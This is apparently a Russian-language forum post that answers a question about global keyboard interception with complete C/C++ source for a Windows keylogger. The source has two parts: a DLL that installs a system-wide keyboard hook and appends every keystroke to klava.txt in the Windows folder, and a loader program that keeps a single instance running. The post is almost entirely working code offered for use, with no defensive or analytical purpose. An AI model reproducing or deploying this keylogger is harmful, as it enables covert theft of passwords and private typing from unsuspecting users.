Нлобальный перехват клавиш необходимо организовать через длл:
Вот один из возможных вариантов реализации:
[codebox]#include <windows.h>
#include <shlobj.h>
#include <stdlib.h>
#include <stdio.h>
LRESULT CALLBACK KbdHook(int code,WPARAM wParam,LPARAM lParam);
inline bool BIT30(LPARAM val)
{
return val&0x40000000;
}
int VkToChar(UINT vk,LPWORD ret)
{
char kb[256];
GetKeyboardState((PBYTE)kb);
return ToAscii(vk,
0,
(PBYTE)kb,
ret,
0);
}
inline DWORD WriteToFile(HANDLE hFile,void *data,int len)
{
DWORD wr;
WriteFile(hFile,
data,
len,
&wr,
NULL);
return wr;
}
HHOOK hhk;
HINSTANCE hInst;
char WindowsFolder[MAX_PATH];
extern "C" __declspec(dllexport) bool SetHook(bool Set);
BOOL APIENTRY DllMain( HMODULE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
{
GetWindowsDirectory(WindowsFolder, MAX_PATH);
hInst = (HINSTANCE)hModule;
return TRUE;
}
bool SetHook(bool Set)
{
if(Set)
{
hhk = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KbdHook,hInst,0);
if(!hhk)return
false;
return true;
}
else
{
UnhookWindowsHookEx(hhk);
return true;
}
}
LRESULT CALLBACK KbdHook(int code,WPARAM wParam,LPARAM lParam)
{
HANDLE hFile;
if(code==HC_ACTION)
{
//30uj bit = 1 , jakwo natuskajyt`, = 0 jakwo vidpyskajyt`
if(BIT30(lParam))
{
WORD ret;
if(VkToChar(wParam,&ret))
{
char cWrite[32];
char key = ret;
char bufStr[MAX_PATH]; // path to file
sprintf(bufStr,"%s\\%s",WindowsFolder,"klava.txt");
//probyjemo vidkrutu isnyjychuj file
hFile = CreateFile(bufStr,
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ,
NULL,
CREATE_NEW,
FILE_ATTRIBUTE_NORMAL,
NULL);
// jakwo ne isnyje, bacajemo novuj
if(hFile==INVALID_HANDLE_VALUE)
{
hFile = CreateFile(bufStr,
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
//jakwo ne vujwlo novuj , pracyjemo dali bez zapusy
if(hFile==INVALID_HANDLE_VALUE)
{
return CallNextHookEx(hhk,code,wParam,lParam);
}
}
SetFilePointer(hFile,NULL,NULL,FILE_END);
switch(key)
{
case 13://ENT
cWrite[0] = 'E';
cWrite[1] = 'N';
cWrite[2] = 'T';
cWrite[3] = 'E';
cWrite[4] = 'R';
cWrite[5] = 0;
break;
case 8://BSP
cWrite[0] = 'B';
cWrite[1] = 'S';
cWrite[2] = 'P';
cWrite[3] = 'A';
cWrite[4] = 'C';
cWrite[5] = 'E';
cWrite[6] = 0;
break;
case 27://ESC
cWrite[0] = 'E';
cWrite[1] = 'S';
cWrite[2] = 'C';
cWrite[3] = 'A';
cWrite[4] = 'P';
cWrite[5] = 'E';
cWrite[6] = 0;
break;
default:
cWrite[0] = key;
cWrite[1] = 0;
break;
}
WriteToFile(hFile,cWrite,strlen(cWrite));
CloseHandle(hFile);
}
}
}
return CallNextHookEx(hhk,code,wParam,lParam) ;
}
Программа для загрузки длл:
#include <WINDOWS.H>
typedef bool (*SETHOOK)(bool);
int WINAPI WinMain(HINSTANCE hInst,HINSTANCE,LPSTR,int)
{
HANDLE hMutex = OpenMutex(MUTEX_ALL_ACCESS,FALSE,"klava.txt.OneInstance");
if(!hMutex)
{
hMutex = CreateMutex(NULL,TRUE,"klava.txt.OneInstance");
}
else
return 0;
HINSTANCE hDll;
hDll = LoadLibrary("w32_kl_srv.dll");
if(!hDll)
return 0;
MSG msg;
SETHOOK sh;
sh = (SETHOOK)GetProcAddress(hDll,"SetHook");
if(sh)
{
sh(true);
}
while(GetMessage(&msg,0,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
if(sh)sh(false);
return 0;
}[/codebox]